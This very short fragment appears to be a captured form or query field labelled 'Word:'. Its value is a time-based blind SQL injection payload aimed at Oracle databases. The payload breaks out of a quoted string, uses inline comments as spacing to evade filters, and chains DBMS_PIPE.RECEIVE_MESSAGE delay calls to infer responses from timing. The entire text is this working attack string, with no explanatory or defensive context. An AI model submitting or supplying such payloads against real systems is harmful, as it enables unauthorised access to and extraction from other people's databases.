Word: 1.8'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('n',2)='n'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('f',2)='f'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('z',2)='z'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('g',2)='g